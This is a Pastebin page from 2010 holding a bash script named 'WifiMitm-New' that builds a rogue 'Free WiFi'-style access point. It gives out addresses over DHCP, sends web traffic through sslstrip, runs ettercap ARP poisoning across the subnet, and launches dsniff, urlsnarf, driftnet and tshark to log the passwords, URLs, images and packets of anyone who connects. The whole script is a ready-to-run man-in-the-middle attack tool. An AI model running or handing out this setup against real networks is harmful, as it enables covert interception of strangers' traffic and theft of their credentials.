Advertisement
Guest User

WifiMitm-New

a guest
Dec 12th, 2010
1,252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.73 KB | None | 0 0
  1. #!/bin/bash
  2. #Updated 12/12/2010 by l3g10n
  3.  
  4. LOGDIR="$(date +%F-%H%M)"
  5. mkdir $LOGDIR
  6. cd $LOGDIR
  7.  
  8. killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf tail
  9.  
  10. echo 'Network Interfaces:'
  11. ifconfig | grep Link
  12. echo -n "Enter the name of the interface connected to the internet, for example eth0: "
  13. read -e IFACE
  14. airmon-ng
  15. echo -n "Enter your wireless interface name, for example wlan0: "
  16. read -e WIFACE
  17. echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
  18. read -e ESSID
  19.  
  20. echo -n "Enter the channel you would like the SoftAP to be set to (1-11): "
  21. read -e Channel
  22. airmon-ng stop $WIFACE
  23. ifconfig $WIFACE down
  24. airmon-ng start $WIFACE
  25. ifconfig $WIFACE up
  26.  
  27. modprobe tun
  28.  
  29. #airbase-ng is going to create our fake AP with the SSID we specified
  30. airbase-ng -e "$ESSID" -P -C 30 -c $Channel -v mon0 > airbase.log &
  31. xterm -bg black -fg yellow -T airbase-ng -e tail -f airbase.log &
  32.  
  33. sleep 10
  34.  
  35. echo Configuring interface created by airdrop-ng
  36. ifconfig at0 up
  37. ifconfig at0 10.0.0.1 netmask 255.255.255.0
  38. ifconfig at0 mtu 1400
  39. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
  40.  
  41. echo 'Setting up iptables to handle traffic seen by the airdrop-ng (at0) interface'
  42. iptables --flush
  43. iptables --table nat --flush
  44. iptables --delete-chain
  45. iptables --table nat --delete-chain
  46. iptables -P FORWARD ACCEPT
  47. iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
  48. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
  49. iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
  50.  
  51. echo Creating a dhcpd.conf to assign addresses to clients that connect to us
  52. echo "default-lease-time 600;" > dhcpd.conf
  53. echo "max-lease-time 720;" >> dhcpd.conf
  54. echo "ddns-update-style none;" >> dhcpd.conf
  55. echo "authoritative;" >> dhcpd.conf
  56. echo "log-facility local7;" >> dhcpd.conf
  57. echo "subnet 10.0.0.0 netmask 255.255.255.0 {" >> dhcpd.conf
  58. echo "range 10.0.0.100 10.0.0.254;" >> dhcpd.conf
  59. echo "option routers 10.0.0.1;" >> dhcpd.conf
  60. echo "option domain-name-servers 8.8.8.8;" >> dhcpd.conf
  61. echo "}" >> dhcpd.conf
  62.  
  63. echo 'DHCP server starting on our airdrop-ng interface (at0)'
  64. dhcpd3 -f -cf dhcpd.conf at0 &
  65. echo "Launching DMESG"
  66. xterm -bg black -fg red -T "System Logs" -e tail -f /var/log/messages &
  67. echo "Launching ettercap, poisoning all hosts on the at0 interface's subnet"
  68. xterm -bg black -fg blue -e ettercap -T -q -p -l ettercap.log -i at0 // // &
  69. sleep 8
  70.  
  71. echo 'Configuring ip forwarding'
  72. echo "1" > /proc/sys/net/ipv4/ip_forward
  73.  
  74. echo 'Launching various tools'
  75. sslstrip -a -k -f &
  76. driftnet -v -i at0 &
  77. xterm -bg black -fg green -e urlsnarf -i at0 &
  78. dsniff -m -i at0 -d -w dsniff.log &
  79. tshark -i at0 -w traffic.pcap &
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement